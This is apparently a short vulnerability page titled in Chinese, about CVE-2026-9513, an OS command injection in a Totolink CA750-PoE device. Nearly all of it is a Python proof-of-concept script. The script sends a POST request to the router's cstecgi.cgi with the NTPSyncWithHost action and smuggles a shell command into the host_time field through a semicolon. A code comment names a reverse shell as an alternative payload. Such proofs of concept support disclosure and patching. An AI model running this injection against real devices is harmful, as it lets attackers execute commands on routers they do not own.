CVE-2026-9513: Totolink CA750-PoE操作系统命令注入漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Construct the payload to inject OS command # Example: Reverse shell or simple command execution # Using ';' to separate commands injection_payload = "; echo 'CVE-2026-9513_test' > /tmp/poc.txt" # Data required for the vulnerable function post_data = { "action": "NTPSyncWithHost", "host_time": injection_payload } try: # Sending the malicious request response = requests.post(target_url, data=post_data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")